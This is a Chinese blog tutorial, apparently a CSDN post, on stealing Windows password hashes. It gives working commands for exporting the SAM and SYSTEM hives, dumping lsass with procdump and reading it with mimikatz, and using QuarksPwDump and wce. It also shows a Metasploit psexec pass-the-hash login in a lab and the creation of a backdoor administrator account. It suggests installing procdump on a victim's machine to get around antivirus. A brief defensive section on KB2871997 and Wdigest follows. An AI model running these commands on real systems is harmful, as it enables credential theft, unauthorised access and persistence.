windows用户密码破解

一、hash简介

Hash主要用于信息安全领域中加密算法,渗透测试中获取目标系统的明文或Hash往往是整个渗透测试过程中重要的一环。在Windows系统中本机用户的密码Hash是放在本地的SAM文件里面,域内用户的密码Hash是存在域控的NTDS.DIT文件里面。

Windows使用使用两种方法对用户密码进行哈希处理:

1、LAN Manager(LM)
2、NTLAN Manager(NT)

其中,NTLM-HASH比LM-HASH的安全性要更高
自Windows Vista和Windows Server 2008开始,Windows取消LM hash。
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码

二、Windows系统下的hash密码格式

用户名称:RID:LM-HASH值:NT-HASH值
例如:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::

用户名称为:Administrator
RID为:500
LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值为:32ED87BDB5FDC5E9CBA88547376818D4

如果已经得到hash值,那么可以通过在线网站去破解:
在这里插入图片描述

三、windows hash抓取

1、通过SAM文件+mimikatz读取密码

windows sam文件
windows的用户hash一般是存储在C:\windows\system32\config\SAM文件中(域控存在NTDS.dit文件中),只不过,就算是管理员权限,也是无法正常打开并读取文件内容,因此一般无法直接通过SAM文件获取用户hash。
lsass.exe 进程
lsass.exe是一个系统进程,用于本地安全认证,用户的hash信息就存在lsass.exe程序内存中。我们一般就是以lsass.exe进程为目标,使用工具从该进程中dump出已登录用户的hash相关信息

但可以通过注册表导出sam和system文件

reg save hklm\sam C:\hash\sam.hive

reg save hklm\system C:\hash\system.hive

在这里插入图片描述
将上述获得的sys.hiv和sam.hiv文件复制到mimikatz所在文件夹,运行mimikatz,输入lsadump::sam /system:sys.hiv /sam:sam.hiv,即可导出所有用户密码hash
未操作成功,就不放截图了!

2、mimikatz

以管理员身份运行mimikatz.exe

privilege::debug   查看提取权限

在这里插入图片描述

sekurlsa::logonpasswords   抓取密码

在这里插入图片描述
但是如果对方电脑开了防火墙,装了杀毒软件,如360,火绒,nod32之类的话。可能就不能在对方电脑上使用mimikatz
mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
这时,我们可以帮对方安装一个procdump64.exe(这是微软自己的工具,可以放心使用)

然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息。

3、procdump64+mimikatz

dump lsass.exe进程

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

此时会在当前shell运行的目录下生成lsass.dmp,这个是lsass.exe进程转存储的文件,里面记录了Hash信息。
在这里插入图片描述

使用本地的mimikatz.exe读取lsass.dmp

将上面转存储生成的lsass.dmp文件放到mimikatz.exe的同目录下,执行下面命令可以直接读取明文密码:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::tspkg" exit

在这里插入图片描述

4、QuarksPwDump

将hash文件导出至1.txt

QuarksPwDump.exe -dhl -o 1.txt

这时在quarkspwdump的目录下可发现1.txt
在这里插入图片描述

5、wce

wce-universal.exe -l列出登录的会话和NTLM凭据(默认值)
在这里插入图片描述

获取到的hash用在线网站破解并不能绝对成功,可以用一下工具进行暴力破解:

  • Saminside字典破解
  • Ophcrack加载彩虹表破解
  • hashcat暴力破解

四、利用Hash远程登录系统

正常情况下我们一般都是拿到shell之后,再对目标主机进行提权,利用mimikatz获取用户密码。如果是域环境的话,还可以获取登录过该主机的域用户密码。

这里只是进行一个实验,之前就尝试过通过hash远程连接主机,但都报错了,经过不懈努力错误终于解决了。

关于错误大家可以参考这篇文章:msf登陆Windows 1

实验环境:

靶机:window7 192.168.137.129
攻击机:kali	 192.168.137.128

1、首先在目标主机中查看登录当前系统的用户名
在这里插入图片描述

2、获取当前用户hash值,我个人感觉QuarksPwDump更好用一点,可以直接把所有用户主机的hash值导出到我们所指定的文档

QuarksPwDump -dhl -o 1.txt

在这里插入图片描述

3、启用msf,设置攻击模块:

use exploit/windows/smb/psexec 
set rhosts 192.168.137.129   //目标主机
set SMBUser stray			//目标主机当前用户名
set SMBPass AAD3B435B51404EEAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4	
//当前用户所对应的hash值

exploit    //攻击

在这里插入图片描述
在这里插入图片描述
乱码的话我们输入chcp 65001
在这里插入图片描述
添加管理员用户:
1、先添加一个普通用户
2、把这个普通用户添加到管理员用户的组中

net user hello hello /add
net localgroup administrators hello /add

在这里插入图片描述
此外我们可以通过rdesktop尝试进行远程桌面连接。

五、防御

管理员如何防止主机密码被抓取(KB2871997补丁)
微软为了防止用户密码在内存中一明文形式泄露,发布了补丁KB2871997,关闭了Wdigest功能。

Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。

在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。
需要强调的是,安装了KB2871997补丁,黑客不仅无法dump出明文密码,并且一般情况下无法使用哈希传递攻击。仅可以使用SID=500的用户进行哈希传递攻击,而SID=500的用户默认为administrator。所以主机管理员最好也禁用administrator用户。

六、总结

当我们拿到shell之后,就可以通过以上方式获取windows用户密码,但getpass、quarkspwdump、mimikatz一般都会被防火墙、360、火绒等拦截下来。

这时候导出sam、system文件就显得尤为重要了。
1、通过注册表命令可以导出sam、system文件,保存到本地,随后通过本地的mimikatz即可导出hash.
2、我们还可以通过procdump导出lsass.dmp文件,再通过mimikatz得到hash

由此可见获取hash密码的方式有很多,做到攻防兼备才更胜一筹!

  • 6
    点赞
  • 70
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值